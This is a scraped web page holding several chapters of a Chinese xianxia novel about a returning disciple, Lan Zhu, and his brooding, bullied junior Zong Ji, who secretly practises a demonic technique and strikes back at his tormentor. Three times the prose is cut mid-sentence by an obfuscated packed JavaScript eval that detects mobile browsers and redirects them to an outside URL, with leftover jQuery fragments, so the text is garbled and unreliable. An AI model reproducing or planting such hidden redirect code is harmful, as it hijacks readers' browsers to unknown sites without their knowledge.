兰烛对“良缘”什么的实在不感冒,只有些担心地问:“为何父亲要在此闭关修行,可是父亲的身体出了什么异样?” “无碍,只是丹田真气运转滞涩,调息一段时日便好。” 横秋道:“若你再晚回一月,或许我便已出关了。” 闻言,兰烛放心些许。 “这些年,在蓬莱仙岛修行如何?” “……应该还挺厉害的吧?”兰烛挠了挠脸蛋道,“今日跟慈济师叔交手,师叔还夸我了呢。” “切勿得意忘形。” “知道啦。” 兰烛想起什么,又问道:“对了父亲,我这次回来,在山中见到了一位同门,说起来应该是我的师弟吧。” “听说是父亲带他回苍梧山的,这还是父亲第一次主动收徒。” “是有什么缘由吗?” 横秋自是知晓他说的人是谁,沉默了片刻,才开口。 “宗祭,是一个……特别的孩子。” 横秋在说“特别”两个字的时候顿了顿,兰烛看父亲的神色,感觉他起初想说的是“奇怪”,或者是其他色彩倾向更重的词语。 “那是八年前的事了,在你跟随空法大师离去后没多久,天山派古胤真人传信求助,天山龙脉的封印松动,需我助其加固结界。” “事关龙脉,我收到他的消息后连夜下山,赶往雪境天山。” 横秋道:“在半途,行至一个正被凶兽袭击的村落,便顺手救下了几个受伤的村民。” “那里的村民告诉我,村子在半月前遭逢暴雨,有一对夫妻带着孩子上了山,至今都没有下来,希望我能够去救一救他们。” “那时我尚有要事在身,只能顺路查探,结果没想到,还真的找到了那一对失事的夫妻。” “他们一家人被坍塌的碎石困在一处山洞中,半月没有任何食物,只能喝从石壁缝隙中滴落下来一些肮脏的泥水。” 兰烛心道那应该便是宗祭的父母,眉梢不由一跳:“那……他们还活着吗?” 横秋道:“我破开碎石,进入山洞的时候,只见到了……” 轰隆—— 横秋一掌拍开洞口堆叠的碎石,整个洞门轰的一声簌簌塌陷。 横秋迎着碎石快步走入山洞,没有光线透进来,山洞里漆黑一片,伸手不见五指。 横秋察觉到尚有微弱的活人气息在此,便点燃了一支火折子,将四周照亮了些。 借着一点火光,横秋看到山洞内陈列的两具完整的雪白骨架,还有一个蜷缩在山壁边缘的,警惕又瘦弱的少年。 更为诡异的是,整个山壁内部都涂满了某种蓝色纹路,勾勒成像是“太阳”的形状,在跃动的火光中忽隐忽现,像是什么远古的邪祀阵法。 “起初我以为,这一家人是为了躲避山洪,所以才慌不择路逃入洞中。” “但是,我在山洞中却发现了许多咒术痕迹,那是一种极为残忍的活祭阵法,名为「献观音」。” “献观音?”兰烛喃喃道,“……听闻是几百年前商彝时期流传下来的一种邪术,若愿以骨肉血亲的生魂向「观音」献祭,便可以逆转自身命数,不仅能够百病不侵、延年益寿,还可生津发财、飞黄腾达。” 横秋点了点头。 兰烛此时心情万分复杂:“所以……宗祭的父母本想带宗祭到山上,进行生祭的仪式。” “没想到中途却遭遇暴雨,一家人都被困在了山洞中。” 说完,兰烛又觉得古怪:“但若是如此,山洞里最先死去的人,应当是宗祭才对,那时候他才只有十多岁,怎么能够对付本来就想杀了他的两个大人呢。” 而且,被困的那半月时间,宗祭是怎么活下来的——他的父母又为何变成了两具干干净净的尸骨。 兰烛心里隐约有了一个猜想,但没有说出来。 父亲当时应当也猜到了。 横秋道:“所以,我说这个孩子很「特别」。” “相逢即是机缘,我碰到了他,便把他带了回来。” “这些年,我尝试亲自教导于他,教他苍梧派的武学。” “可惜,宗祭并无什么过人天赋,性格也非常孤僻古怪,与我至今都非常生疏。” “我不知道他幼时经历过什么,导致他与人生冷疏远……有些事也不能强求。” “不过,留在苍梧山,至少,有一个安身立命之地,不至于在外孤苦漂泊。” 兰烛喃喃:“原来是这样。” 横秋问:“怎么突然提起他了?” “莫非我闭关这些时日,发生了什么事?” 兰烛心道:宗门弟子对赴青阳的欺凌睁一只眼闭一只眼,甚至还有不少跟他沆瀣一气的,恐怕也没有人将此事告知父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“待爹爹出关,亲自为你践行。” “好。” “回去歇息吧。” 兰烛告别父亲,孤身一人离开后山。 路上,又蓦地想起离开蓬莱仙岛时,师父对他说过的话。 空法大师于高堂中央悬坐低眉,眉心一点朱砂,眸色一黑一白、一阴一阳,垂视的眼神静穆而慈悲。 手中的菩提佛珠一颗一颗自指骨捻过。 “兰烛,此世尘缘未尽,你该离去了。” “你跟随为师八年,如今,为师已经教不了你什么。” 兰烛一袭白衣跪坐在蒲团上,抬眼看向他,目光空明纯净,不染尘埃。 “兰烛,唯有渡人,方可渡已。” “你与他,命定会相遇。” “只是,一念成缘、一念成劫。” “是非生死,皆在你心。” “你且教他,收余恨,免怨嗔。” “且自新,改性情。” “休恋逝水,苦海回身,早悟兰因。” “待你开蒙自渡,了却尘缘,完结因果,你我自会再相见。” 兰烛背负行囊,一步一步踏上另一条前路。 仙岛空明,禅声静远,兰烛却似乎听见一声遥遥的叹息。 “问菩萨为何倒坐,叹众生不肯回头……” 这便是空法大师给他留下的最后一句话。 “尘缘未解……” 兰烛一边往前山走一边嘟囔,“到底是什么缘分呢。” 别院暗室。 逼仄而昏暗的暗阁内,宗祭盘膝而坐,双目紧闭,周身缭绕着一股极浓郁的黑气。 那股阴冷而不详的黑气从宗祭七窍生出,又一丝一缕自眉心钻回体内,几个吞吐之间,房间内邪气显然更盛。 似是在暗自修行某种功法。 宗祭感受着在灵识处流动起伏的气息。 或许,再过半月,「换尸子」便能够突破至第三层了。 届时,他便再也不必经受这种…… 突然,宗祭睁开了眼。 兰烛在房屋外面拍了拍门:“宗祭!小师弟,你在吗!” 宗祭倏然扭头看向门外,内息尽敛,片刻后起身,按下暗阁内部的机关,走出密室。 墙壁在他的身后无声横移闭合,天衣无缝。 “小师弟!” 兰烛的声音从院外传来,宗祭走到门后,为他打开门,皱眉问道:“你来做什么。” “你今日受伤了,我去药房找了些疗伤的伤药给你,”兰烛从怀里掏出几个瓶瓶罐罐,“都是能够清凉止痛的,今夜睡前敷上,明日便会痊愈许多。” 宗祭看了他一眼,直接关门:“我说了,不需要你多管闲事。” 无事献殷勤,莫名其妙。 “哎哎!”兰烛见状连忙插了一只手伸进他跟门缝中间,五根手指头“啪”一声拍住了门,一双眼睛从缝隙里眨巴眨巴地望他,“怎么会是闲事呢!” “你不是说了,那些师兄有可能会再来找你麻烦,这件事既然跟我有关,我自然不会坐视不理,我不会再让他们欺负你了。” 宗祭完全不懂这个人,也无法理解。 看着他的眼神像看一个行径诡异的怪人,声音冷硬:“我不需你帮助。” “你可是我的小师弟呀!” 兰烛的眼睛在夜色下显得异常明亮,盈着两颗星星似的,他语气极为珍惜道,“师父已经很久不收徒了,全宗门上下,我可只有你这一个小师弟呢,当然要好好保护啦。” “不然以后没有人叫我师兄了怎么办?” 宗祭:“………” 兰烛坚持不懈把门缝挤开,找准机会钻了进去,看着宗祭的眼神非常慈爱,抬手摸摸他顺散的乌黑长发,“乖,叫声小师兄听听。” 4. 第四章 宗祭从未被人如此触碰过,顿时僵了僵,反应过来以后“啪”一下打开他的手,神情冰冷、态度恶劣,“你是不是病的不轻。” “我说过了,我的事,无需你管。” 兰烛摸着被拍红的手背,撇撇嘴巴,“你这个性格,真不讨人喜欢,一点都不可爱。” “不过还好,师兄我呢从小就心善,不跟你计较。” 兰烛一把握住他的整个衣袖,“走啦,快点去上药啦。” “………” 宗祭被他拖着一条胳膊硬拉回了房间。 兰烛把人按到床上坐下,上手去扒他的衣服。 宗祭领口骤然一松,浑身衣物险些“飞流直下”,又被他用手一下拽住,“你、你做什么!” 兰烛理所当然:“不脱下衣服怎么上药啊。” 二人一站一坐僵持对视。 宗祭漆黑森然的瞳孔中映出一人的倒影。 兰烛的模样极为清秀,有一双水波流转的杏眼,黑白分明,卧蚕弯弯,某种柔软的小动物一样无害。 真挚地注视着一个人的时候,眼神好像也毛茸茸的。 宗祭被挠了一下似的蓦地收回目光,僵硬扭过了脖子。 衣衫褪去,露出其下包裹住的苍白皮肤。 宗祭身上,有几处异常醒目的淤青、血痕,是今日比武时受的伤。 还有些地方的青紫色已经快要淡去了,看样子……应该是前几天留下的。 兰烛看他这些深浅不一的伤痕,忍不住皱起眉心,“就那么逆来顺受地任由他们欺负……怎么不会反抗呢。” 宗祭轻轻道:“你怎么知道我不会呢。” “那你今日怎么还被打成这样?” 宗祭的唇竟然弯了一下,低冷地吐出几个字。 “时候未到。” “嗯?”这句话说的极轻,只如某种冰冷的气流划过,兰烛没听清,“什么?” “没什么。”宗祭神色淡漠,不再言语。 “以后被欺负了记得要还手,即便打不过,也要从他们身上咬一块肉下来,让他们也知道疼。” “再不济,去跟师叔们告状也行啊。” “按照苍梧派门规,欺凌同门,是要去思过阁受罚的,若是屡教不改,连犯三次以上,就会被直接逐出师门。” “你硬气一点,他们就不敢对你怎么样。” 兰烛一边说,一边将伤药敷在他的皮肤上。 宗祭的皮肤很白,但并不是珠圆玉润的那种莹白,而是没什么生气的白,像陶瓷内部不见天光的那层白漆,透着股无光泽的冷感。 在夜里被烛光一照,那种病态的苍白感便更明显了。 “你一看就不晒太阳。”兰烛在他身上摸摸,犀利评价道,“皮肤跟吸血鬼一样。” “闭嘴,” 宗祭本来就非常不适应同他人如此近距离的接触,被他这里摸摸、那里摸摸,额头青筋微跳,不耐烦,“要么出去。” 兰烛一根手指头轻轻戳戳他的脊梁骨,“……肯定还营养不良,脊梁骨摸着都硌手,身上一点肉都没有,师兄他们还虐待你了吗。” “还是你天生就这么瘦呀,你现在还在长身体呢,要是营养不良的话,会长不高的。” “…………” 宗祭不胜其烦,懒得再跟他说话。 直到一股温热气流拂过皮肤,宗祭陡然一颤,浑身汗毛都快要炸起来了。 兰烛仔细地为他上药,蘸着药膏的指尖轻轻点在瘀肿的伤处,小心地吹了吹:“痛吗?” “……疼。” 宗祭被他弄的浑身不适,瞪了他一眼,“别碰我,我自己来。” 兰烛撇撇嘴巴,放下碧绿色的药膏:“那你自己弄吧。” 宗祭有些粗暴地将冰凉的药膏涂抹在伤口上。 兰烛自顾自似的道:“你叫宗祭呀。” “祭”这个字,总会让人想起许多不好的寓意。 天底下,怎么会有父母给孩子起这样的名字呢。 不过,想起宗祭的父母还想要把他带去山上献祭,又理解了一些。 ……看起来,是个从小就没有得到过什么爱的小可怜,至少他的父母并不爱他,童年大概非常不幸。 或许是要用很久的时间才能治愈的阴影与伤痛。 不知道宗祭小时候经历过什么,让他的性格变得这样乖张孤僻,像一只阴暗独居的、但是动不动就炸毛的刺猬。 扎手是扎手了点。 但还是挺让人想摸摸的。 尤其是他坐在床边,低垂着眉眼默默给自己上药的样子,看起来竟然乖乖的。 兰烛看着这伤痕累累的、跟他差不多大的小师弟,难免有些心软。 “小师弟~”兰烛拖着嗓子软绵绵地喊他,托腮道:“我已经八年没有回过苍梧派了,师门好多地方跟从前都大不一样了,明日你带我在苍梧山四处转一转吧。” 宗祭终于吝啬地看他一眼,冷声道:“我没有时间。” 兰烛问:“你明日要干嘛呀。” “练剑。” “那我教你练剑呀,我可厉害啦。” 宗祭忍无可忍,“啪”的一声把药罐拍在桌子上,“门派中那么多师兄对你有求必应,你何不让他们跟你一同游山。” “为何非要让我陪你。” “不知道啊,”兰烛笑眯眯看他,眼睫都弯成了一线,“可能是觉得跟你特别有缘吧。” 听到这句话,宗祭似乎有些异样的触动,眼中某种闪过一丝难以言描的奇怪情绪,但很快又变成了那一副冷冷冰冰、油盐不进的样子。 “我没有兴趣。” “就这么说定啦。” 兰烛挥挥手,“不见不散哦。” 宗祭:“我没有答应。” 兰烛关门:“师弟晚安!” “我不……” 房门“砰”一声被关上。 宗祭穿好衣服, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207779|181314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴唇动了动,扯出三个字。 “……神经病。” 兰烛回到献仙音,从窗户看向窗外,一轮明月倾照,顿觉今夜月色极好。 他走到柜子面前弯下腰翻箱倒柜,“带些好吃的……明日送给宗祭。” “看起来就瘦瘦弱弱的,怪不得总是被欺负。” “小孩子应该都会喜欢吃甜的东西吧。” “唔,不过宗祭看起来也没有比我小多少,或许跟我一样的年纪,哎呀,忘记问他多大了……” 兰烛蜷膝坐下,桌子上铺开几层油纸,包裹了许多肉干、果脯和蜜饯,叠成了一个四四方方的小方块。 他拍了拍手,“这样就好啦。” “再拿一些能够祛除伤疤的药,虽然爹爹总说‘伤疤是男人的勋章’……但是这个年纪就留下那么多疤痕,实在不合适。” “这个拿一点” “这个也拿一点……” …… 兰烛仓鼠大点兵似的收拾完“家当”,打包了好几个“方块”摞到一起,这才爬到床上蒙住脑袋睡觉。 “哐当”——! 赴青阳一脚踹翻了房内的圆凳。 淮婴从上铺探出脑袋:“你这是怎么了?谁招你惹你了?” 赴青阳道:“兰烛也不知道被那小子灌了什么迷魂汤,回来以后跟宗祭走的很是亲近。” “昨日竟然还在我面前维护他,也不知道是看上他哪一点好。” 淮婴不以为意:“小师弟的性格不是从来如此吗?” “小时候碰到一只受伤的兔子,都能捡回去照顾好几天。” “待宗祭本性毕露,兰烛知道他是什么货色,届时自然就不会再受他蒙蔽了。” 赴青阳仍是面色不善:“听说,横秋掌门快要出关了。” “待师父回来,再想收拾宗祭,可能就没有这么方便的机会了。” 想到这里,赴青阳眼中闪过一丝狠戾,盯着手里的茶杯:“在师父出关前,还要再给他点教训,让他长长记性……以后在我们面前夹着尾巴、好好做人。” 淮婴翻身躺回榻上,漫不经心,“那你可千万别被小师弟发现了,万一闹到代掌门那里……” . 次日一早。 兰烛拎着他的一串大包小包,准备拉着宗祭云游苍梧山,走近别院以后,发现宗祭的院门竟然开着。 兰烛微微迟疑了一下,站在门口东张西望半天,稍微扬声道:“宗祭,你在吗?” 房中无人回应。 兰烛满腹犹疑地走进院子,想了想,把手里的礼物放到院中石台上,又抬手敲了敲内室的门。 里面静悄悄的,宗祭的确不在房中。 兰烛奇怪:“……大清早的人去哪儿了?” 兰烛出门,捏了一道寻息术法。 一道忽隐忽现的浅蓝色气流自他的指尖蔓延出去,指向山中的某个方向。 兰烛运起轻功,顺息而去。 5. 第五章 宗祭不想再被兰烛那个莫名其妙的“小师兄”缠上,一大早便找了一处山上的偏远亭阁躲清净,这三角阁高耸又荒凉偏僻,宗门弟子们平时都不会到这里来。 苍梧乃是众山之巅,地理位置极高,日出的时候,朝阳似乎近在眼前,宗祭在亭中阴影处席地而坐,开始静心打坐。 苍梧派的剑法对他来说没有任何用处,这些“正派”的东西本来就同他不是一路的,只是如今身为苍梧派弟子,平日里免不了要装装样子。 不知多久,宗祭忽然听到了一阵鬼鬼祟祟的脚步声,睁开眼睛。 兰烛不知从哪儿神出鬼没地冒了出来,正提着衣摆蹑手蹑脚地靠近他,被宗祭发现了以后,就光明正大走了过来,“我来啦!” 宗祭:“……” 他究竟是怎么找到这里的。 兰烛热情洋溢:“早啊。” 宗祭瞥了他一眼,心里生出一股无端的烦闷。 “小师弟,你知道在山下的碧落潭附近有一片桃林吗,”兰烛在宗祭身旁蹲下,伸手扯扯他的衣角,“这个时候桃花刚好开了,可漂亮了,你想不想去看一看呀。” 宗祭原地端坐不为所动:“我说过了,我没有兴趣,也没有那个时间。” 兰烛这个人,出现的莫名其妙,对他的态度莫名其妙,善意也来的莫名其妙。 宗祭早就习惯了一个人禹禹独行,习惯旁人对他的恶意、习惯那些无由来的伤害。 兰烛的出现就像是生命当中从未有过的一个“异类”,让他下意识感到排斥,那种善良太过温暖炽热,甚至令他如芒在背。 “可离群索居终究不是长远之计,”兰烛有理有据,“你总是这样一个人待着,不跟任何人往来,可能会出现心理问题的。” 现在的性格就已经非常阴沉不可爱了! 宗祭:“关你什么事。” 兰烛蹲在他旁边耐心跟他商量:“去看看嘛,说不定你会喜欢呢?” “你很烦。” …… 在兰烛要拉着他的胳膊跟他一起下山的时候,宗祭终于忍无可忍。 宗祭一手拉过兰烛的手腕,将他拽向了自己。兰烛猝不及防,整个人都往回倒了一下,差点撞到他的身上。 “你做什……” 兰烛抬起眼,就对上了宗祭又厌恶又冰冷的目光。 宗祭的眉眼本就锋利,那一双漆黑的蛇似的瞳孔更是锐化了其中的情感,看向兰烛的眼神几乎是尖锐的。 对上他的目光,兰烛明显怔了一下。 宗祭微一低头,直直逼视他的眼睛,一字一顿:“兰烛,不管你是什么人,我再说一遍,我很讨厌你,完全、不想见到你。” “不管是不知分寸的纠缠、莫名其妙的关心,还是圣母似的性格,都让我感到不适至极。” 兰烛显然从小到大没有被人这样劈头盖脸地嫌弃过,微微张开嘴巴,呆呆地看着他。 “我也没有任何兴趣跟你在这里游山玩水,浪费时间,无聊、无趣。” 宗祭一字一顿:“这一次,我说的够清楚了吗?” “从今往后,都不要再出现在我面前。” 兰烛反应了几秒钟,吸了下鼻子,眼睛变得有些红红的,睫毛根部洇了点湿漉漉的水色。 两个人的距离实在太近了,那冰冷的目光有若实质,刺的人皮肤发寒,兰烛用力推了宗祭一下,把被捏的发红的手腕从他的禁锢中挣脱出来。 “大师兄说的没错。” “你说话真的很过分。” 兰烛吸了口气,带着点鼻音说,“我也没有很想跟你一起。” “只是看你、被欺负的很可怜,所以,找一个借口跟你出来玩,想让你心情能够好一些。” “你不愿意,就算了。” “我也不是、一定要你陪。” 说完,兰烛没有再看他一眼,转身一个人离开了亭阁。 宗祭无动于衷地冷冷看着他的背影。 走到半路,兰烛突然想到什么,从怀里拿出什么东西,用力向宗祭扔了过去。 宗祭皱眉单手接过,是一个被细绳打结包好的油纸包,里面不知道装了什么东西。 宗祭打开,是一袋甘黄的蜜饯。 . “那不是兰烛吗?他这是怎么了?” 赴青阳晨起练剑,刚好见到兰烛一个人下山,步履匆匆,看起来心情不太好,眼睛隐约还有些发红。 淮婴往山上看了眼道:“这方向……难不成是被宗祭赶出来了?” 赴青阳“哈”的一笑,颇有些幸灾乐祸的意思:“跟他说过了,那小子就是个狼心狗肺的白眼狼,对他好的人也不会有好报,小师弟还不信。” “这下好了,自己碰了一鼻子灰,知道什么是真心错付的滋味了。” 兰烛孤身一人离去,独自在碧落潭桃花林的一棵树下看花。 这个时节的桃花果然开的极好,一簇一簇盛满了枝头,灼灼其华,整个桃林里都流淌着一股浅淡怡人的香气。 兰烛一袭红衣坐倚在树旁,摊开手掌,一瓣樱粉色的花瓣落在他的手心。 他低头盯着那瓣柔软的桃花,半晌,微微叹了口气,揉了揉脸庞。 桃花黯淡,落日西沉。 赴青阳在苍梧山大摇大摆转了几圈,没有找到想找的那个人,“啧”了声道:“一整天没见人影,也不知道宗祭那小畜生躲哪儿去了。” “躲得了初一、躲不过十五,早晚落到我手里。” “这次,连兰烛师弟都不护着他,我倒是要看看还有谁再来多管闲事。” 傍晚,宗祭回到别院,看到院中的石桌上不知是谁放在那里的几个纸袋。 宗祭狐疑地走过去,将那些纸包依次打开。 里面装的是一些乱七八糟的零食,还有许多珍贵的药材,用油纸一层一层仔细包裹起来……跟那一袋蜜饯一样。 宗祭怔了怔,指尖无意识地在油纸上摩挲,片刻后,将这些东西一起带回了房间。 内室暗阁。 宗祭双目紧闭,周身蛛网般的黑气缠绕在他的身上,专注练习功法。 毫无征兆的,脑海中突然闪过兰烛的面庞,那一双难过的、有些发红的眼眶。 宗祭五窍一痛,蓦地停下吐息,意识到什么,眉眼间阴郁煞气之色更重。 得到「换尸子」已有两年时间,他从未在修行时从未出过任何差错。 还是第一次,半途出了岔子。 宗祭的眼神愈发冷漠。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207780|181314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个兰烛…… 果然要离他远一些。 既已中断,宗祭也不欲继续,抬起右手,掌心凝出一股黑色内力,浮于手心。 那团黑气像一摊溶在水中的墨,一丝一缕诡异漂浮。 最迟七日,他便可突破「换尸子」的第三层功法。 届时…… 宗祭盯着掌心,凝聚的邪煞之气倒映在他眼中,那一双乌黑瞳孔里浸上冰冷的笑意。 我的好师兄…… 这一整年来的伤痛、羞辱……都会让你们悉数奉还。 宗祭冷然一笑,起身,走出暗阁。 那日被他毫不客气地赶走以后,兰烛果然没有再来找他,耳根都清净了许多,瞥了眼四下无人,宗祭心不在焉走进宗门餐堂。 宗祭从来不会跟同门师兄一起用膳,碰到一起,不过是多了一个让他们主动找茬的借口。 宗祭并不想接近那些“名门正派”,正如那些人也不愿见到他。 所以,每次都会有意跟他们错开时间用膳。 今日也是如此,待到那些弟子们都用完午膳离开了,宗祭才到餐堂打了些剩下的饭菜,大抵都是些残羹冷炙,但足以果腹。 宗祭放下木质餐勺,正要端着饭菜随意找个角落用膳,突然被人从背后一脚踹在脊梁骨上,手中的饭菜顿时稀里哗啦撒了一地。 宗祭神色骤然一冷,稳住身形后,慢慢回过头。 赴青阳在地上碾了碾脚尖,“哟,吃饭呐。” 宗祭看了眼满地的狼藉,眼珠又缓缓转到了赴青阳的方向,直直盯着他。 赴青阳最痛恨的就是宗祭这种眼神。 不管怎么辱骂他、欺凌他,宗祭从来没对他们服过软、认过输。 痛的狠了也不会叫,只是这样盯着他——用这种像随时会反扑的困兽一样的危险又冰冷的眼神。 不过是一个修为低下的吊车尾,宗门里随便什么人都能踩在他的头上碾上几脚,凭什么宗祭能有这样的眼神? 赴青阳愈发愤怒,握紧拳头,走到宗祭面前,在他的肩头连续锤了几下,每一下都发出重击皮肉的闷响,宗祭一连后退了几步。 “听说,这几天你跟兰烛走的很近啊?”赴青阳继续一步一步逼近,“怎么,想找小师弟给你撑腰?以为这样我就不敢收拾你了?” “不过可惜啊,兰烛这两天好像也不搭理你了。” “但凡跟你接触过的人,最后都会无一例外地厌恶你啊。” “毕竟你就是这么,让人觉得晦气至极。” 宗祭的后脊“砰”一声抵到了墙上,已经没有可以后退的路了。 这样的遭遇这一年来宗祭已经经历了无数次,后面大概又是被围堵在逼仄狭小的角落里,任由他们拳打脚踢,而后遍体鳞伤地径自离去。 赴青阳的拳头马上就要落下来,在宗祭乌黑瞳孔中越放越大。 在这样千钧一发的时候,宗祭却突然不合时宜地想到了兰烛对他说过的一句话—— “以后被欺负了记得要还手,即便打不过,也要从他们身上咬一块肉下来,让他们也知道疼。” 宗祭心想:至少兰烛说的这句话,并非没有道理。 刚好,他也不打算再忍耐了。 宗祭抬起眼。 6. 第六章 宗祭的视线骤然自下而上扫过来,对上那一双黑白分明的眼珠,赴青阳竟然不受控制地愣了一下。 下一瞬间,只听到“唰”一声有如剑刃出鞘的声音,赴青阳只觉眼前寒芒一闪——宗祭竟一剑刺向了赴青阳的咽喉! “…………” 整个空间似乎都凝滞了一瞬。 宗祭在他们面前从来都是蜷缩着挨打,赴青阳没想到他竟然会反抗,而且还是直接动了利器! 赴青阳惊怒之下竟没来得及躲闪,下意识用手去挡,被宗祭一剑割伤了右臂,血痕直接透过浅蓝色的衣衫,登时洇出了一片红色。 从前他们欺负宗祭,最多不过是拳打脚踢,还没有到刀剑相向的地步,宗祭突然毫无预兆爆发,旁边的弟子也震惊不已,惊呼道:“宗祭你疯了!” “你竟然敢出剑伤人!” “……有何不敢。” 剑刃上沾了一丝鲜红的血光,宗祭弯了弯唇,低低地笑了一声,眉眼间竟然透出某种锐利的邪性。 他勾唇道:“我本来就是师父捡回来的孤儿,触犯了门规,最多不过是被赶出苍梧派,再也不得做门中弟子。” “大师兄就不同了,出身江湖上名门望族,若是被逐出师门……” 宗祭停了停,“恐怕是整个家族的耻辱,传扬出去可是有辱门楣啊。” “你……!” 赴青阳疼的“嘶”的倒吸了一口冷气,要不是他刚才反应快,那一剑当真能割断他的脖子——宗祭这小疯子是真的想杀了他! 看着手臂上血流不止的伤口,赴青阳愈发暴怒不已,“老子今天就好好教训你!” 说完抓住宗祭的领口把他整个人拎起来、重重摔到了地上,一只脚踩在他执剑的手腕上,另一只脚狠狠踹向他的腹部,宗祭唇边一口血喷了出来。 “你竟然想杀了我,果然早就对我怀恨在心!” 想起方才那一剑,赴青阳仍是惊怒不已,又一脚踹了上去,“刚才不是很横吗,嗯?怎么不继续嚣张了!?” 宗祭抹过唇边血迹,低声笑起来。 “还笑、让你再笑!” 赴青阳的拳脚与咒骂不断落下,大有把宗祭活活打死的架势,这已经远超出了平日里“打闹”的限度,然而赴青阳已经红了眼,没有人敢上去劝他。 这时,殿外一道声音传来—— “你们在做什么!” 兰烛还没踏入殿内,就闻到了一股刺鼻的血腥味,他飞身而至,看到赴青阳的暴行,厉声制止道:“师兄!住手!” 淮婴见势不妙,先发制人说道:“兰烛,是宗祭先用武器伤人的,要不是大师兄反应快,现在都已经身首异处了。” 其他弟子也附和:“对啊,我们都看到了,是宗祭这小子先出剑伤人的。” 有几个弟子却没吭声,许是觉得赴青阳今日行为太出格,不愿再与他为伍,毕竟兔子急了还会咬人……更何况宗祭还是一个有血有肉的人。 兰烛扫了眼餐堂中一片狼藉的惨状,大概已经猜到发生了什么,道:“无缘无故,宗祭为何会突然动手伤人。” “更何况,现在已是午休之时,诸位师兄们不在各自院中休息,都在这里做什么?” “师父一再教导我们,身为苍梧派弟子,需得自律守正,与同门师兄弟之间互敬互助、友善和睦。” “如今却一而再、再而三发生同室相残之事——将宗门戒律置于何地?” 赴青阳缓缓起身,抬起那只仍在滴着血的手腕,神情阴鸷:“兰烛,他把我伤成这样,你让我就这么算了?” 有过之前擂台上的那一幕,再加上现下的阵仗,不想也知道又是赴青阳先挑起的祸事,兰烛冷着一张脸:“今日之事,个中缘由、是非对错,自有慈济师叔定夺,大师兄受了伤,还是早些回去处理伤口吧。” 赴青阳心有不甘,可奈何兰烛在场不能继续做些什么,恶狠狠地剐了宗祭一眼,趾高气昂地走了。 其他弟子也随之散去。 兰烛跑到宗祭身边,把他扶起来,担心地望着他:“宗祭,你没事吧?” 这小倒霉蛋,只是两天不见,怎么又被打成了这样。 宗祭慢慢站直身体,拂开兰烛的手,轻声咳出一口淤血。 他忍痛吸了一口气,缓步走到餐台,重新打了一份午膳,是剩下的最后一点残羹冷饭。 兰烛咬了咬唇,默默地看着他。 宗祭旁若无人地坐下,木筷夹起几颗白米,张口吃下。 还有心情吃饭,应当没什么大事。 “………” 他们刚吵架没多久,目前还在“冷战期”,兰烛在他对面坐着,也不知道要说什么。 犹豫了片刻,从怀里摸出一包肉脯,推到宗祭的面前。 宗祭视若无睹,味同嚼蜡地吃过带着浓重血腥味的午膳,起身准备离开。 “喂”兰烛叫他。 宗祭没回头,只是转眼一瞥。 兰烛小声的:“你……你不打算跟我道歉吗。” 兰烛有些担心宗祭的伤,但还在生气他前两日说的那些话,于是偷偷摸摸快速看了宗祭一眼、又马上收回目光,主动给他一个台阶下。 “你跟我道歉,我就原谅你了。” ……还可以顺便帮你疗伤。 这句话说完,身后许久都没有动静。 兰烛回过头一看,宗祭已经径自走出很远了。 兰烛:“………” 他泄气道:“算了,他说过不想看到我了。” “我干嘛还要去担心他。” 兰烛看他蹒跚离去的背影,叹了口气,前往慈济师叔的飞鸟阁。 梧桐别院,宗祭穿着一件单薄的里衣,在床榻上打坐,双手置于膝上。 他凝目运起「换尸子」的功法,瞳孔中一道血色的红光闪过,隐约游动的黑线开始缓缓修复他五脏的内伤,周身的痛感顿时减轻了许多。 许久,宗祭睁开眼。 那一剑,没能直接杀了他……真是可惜。 不过,像赴青阳这种欺软怕硬的货色,就这么一死了之,太过无趣了。 宗祭翻身下床,走到角落书柜前,拉开一道柜阁。 柜子里是些乱七八糟的杂物,角落放着一个漆黑的瓷瓶。 宗祭将瓷瓶的盖子打开,里面装的是一些淡红的粉末。 宗祭垂眼,一指轻轻捻了捻。 手指沾上一点粉末,顿时传来强烈的刺痛感,整个指尖都泛起被灼烧的红色。 宗祭却像全然感觉不到痛楚一般,将瓷瓶慢慢、慢慢紧握在手中。 夜半。 兰烛躺在床上,蒙着脑袋生闷气。 兰烛其实并不擅长处理太过复杂的人际关系。 将近二十年的人生里也从来没有遇到过宗祭这种性格的人。 幼时在苍梧山时,是父亲的掌上明珠,小兰烛性格可爱又亲人,师兄们对他也是宠爱至极。 蓬莱仙岛更是一处世外桃源,空法大师一共只收了三位弟子,兰烛亦是最小的那个,在外修行八年,蓬莱岛上的人对他皆是关怀备至。 没有遇到过哪一个人……像宗祭的脾气这样古怪。 浑身都是刺,不知道碰到哪里,就会突然被扎上一下。 兰烛只觉得自己好似在一片陌生的雷区探索,不知道走到哪一步,头顶上就会突然劈下一道雷来。 窗外夜深人静,明月高悬,可兰烛翻来覆去地睡不着。 许久,他一个鲤鱼打挺从榻上翻了起来,披着件月黄外衣走出了房间。 兰烛本来只是想出去透透气。 